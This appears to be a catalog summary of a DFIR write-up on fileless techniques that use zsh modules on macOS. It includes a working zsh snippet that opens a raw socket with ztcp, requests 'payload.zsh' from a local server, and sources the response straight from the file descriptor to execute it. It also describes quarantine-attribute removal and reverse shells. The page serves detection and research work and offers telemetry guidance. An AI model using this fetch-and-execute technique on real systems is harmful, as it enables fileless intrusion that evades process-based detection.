Skip to content

Back to the catalog

dfir.chwriteup

Living Inside the Shell: zsh Modules on macOS

A DFIR researcher shows how macOS's default shell, zsh, ships with loadable modules (zsh/net/tcp, zsh/mapfile, zsh/attr, zsh/stat, zsh/sched) that let the shell itself open raw TCP sockets, read/write files, and manipulate extended attributes like com.apple.quarantine without spawning curl, xattr, rm, or nc. The post walks through a full example using ztcp and source /dev/fd/$fd to fetch and execute a second-stage payload directly from a socket (bootstrapping a LaunchAgent) with no downloaded file on disk and no child process, referencing the prior real-world use of zsh/net/tcp for reverse shells (documented by ESET and GTFOBins). It then validates via eslogger/Endpoint Security that DELETEEXTATTR/SETEXTATTR and similar operations remain visible even when performed through zsh builtins, arguing detections should target the underlying OS event rather than the specific binary invoked.

TL;DR macOS zsh's built-in modules (ztcp, mapfile, zsh/attr) let attackers do networking, file writes, and xattr/quarantine manipulation entirely in-process, evading process-centric detections — but Endpoint Security telemetry still catches the underlying events.
Document

What it is

A DFIR walkthrough of zsh's runtime module system (zmodload) on macOS, where /bin/zsh is the default shell. The core demonstration: loading zsh/net/tcp to open a raw socket via the ztcp builtin, hand-writing an HTTP request, and source-ing the response body straight off the file descriptor — all inside the existing zsh process, producing no curl, wget, nc, or child shell.

How it works

ztcp 127.0.0.1 8080 opens the connection and returns the descriptor in $REPLY. zsh now owns the socket; there is no networking utility to observe. You write the HTTP request bytes to the descriptor, drain the response headers, then source /dev/fd/$fd — the /dev/fd/<n> pathname lets zsh read the remaining socket bytes and interpret them as shell input. No payload.zsh ever hits disk, so filesystem searches for a downloaded file find nothing.

zmodload zsh/net/tcp
ztcp 127.0.0.1 8080
fd=$REPLY
print -rn -u $fd -- \
  $'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'
while IFS= read -r -u $fd line; do
    [[ "$line" == $'\r' || -z "$line" ]] && break
done
source /dev/fd/$fd
ztcp -c $fd

What the summary omits: the broader module surface

The TCP case is one instance. The page lists other builtins that similarly displace utilities an analyst would normally look for — the same "attribute to /bin/zsh, not a child process" gap applies to file and xattr activity too:

ModuleReplaces / provides
zsh/net/tcpTCP sockets (ztcp)
zsh/net/socketUnix domain sockets
zsh/systemlow-level system functionality
zsh/filesbuilt-in file operations (no rm etc.)
zsh/statfile metadata
zsh/mapfilemap files into an associative array
zsh/attrextended-attribute ops (no xattr)
zsh/schedscheduled commands inside zsh
zsh/zutilutility functions

What to do

For triage, distinguish builtin from external command — the page notes whence -v ztcp identifies ztcp as a shell builtin with no separate executable. Since process-execution, command-line, and parent-child telemetry all come up empty here, detections need to lean on the surviving signal: the network connection itself still exists, originating from /bin/zsh.

Caveats

zsh/net/tcp provides only raw TCP with no TLS, so speaking HTTPS is not feasible and the author states this "significantly limits" ztcp as a drop-in curl replacement — though the primitive remains relevant for plaintext retrieval. Which modules are actually available depends on the zsh build and platform.

Organisations named here

  • ClickFix

Technologies named here

  • Zsh
  • macOS
  • ztcp
  • zsh/mapfile module
  • zsh/attr module
  • eslogger
  • Apple Endpoint Security framework
  • GTFOBins
  • Elastic detection rule
  • python3 http.server
  • launchctl
  • ESET

Techniques named here

  • Fileless TCP networking via zsh/net/tcp
  • In-shell HTTP request construction
  • Fileless second-stage execution via source /dev/fd/$fd
  • ClickFix-style execution chains on macOS
  • zsh/net/tcp reverse shell
  • Fileless file manipulation via zsh/mapfile
  • Extended-attribute manipulation via zsh/attr
  • Quarantine attribute removal without xattr utility

Threat actors named here

  • Mac cryptocurrency trading application malware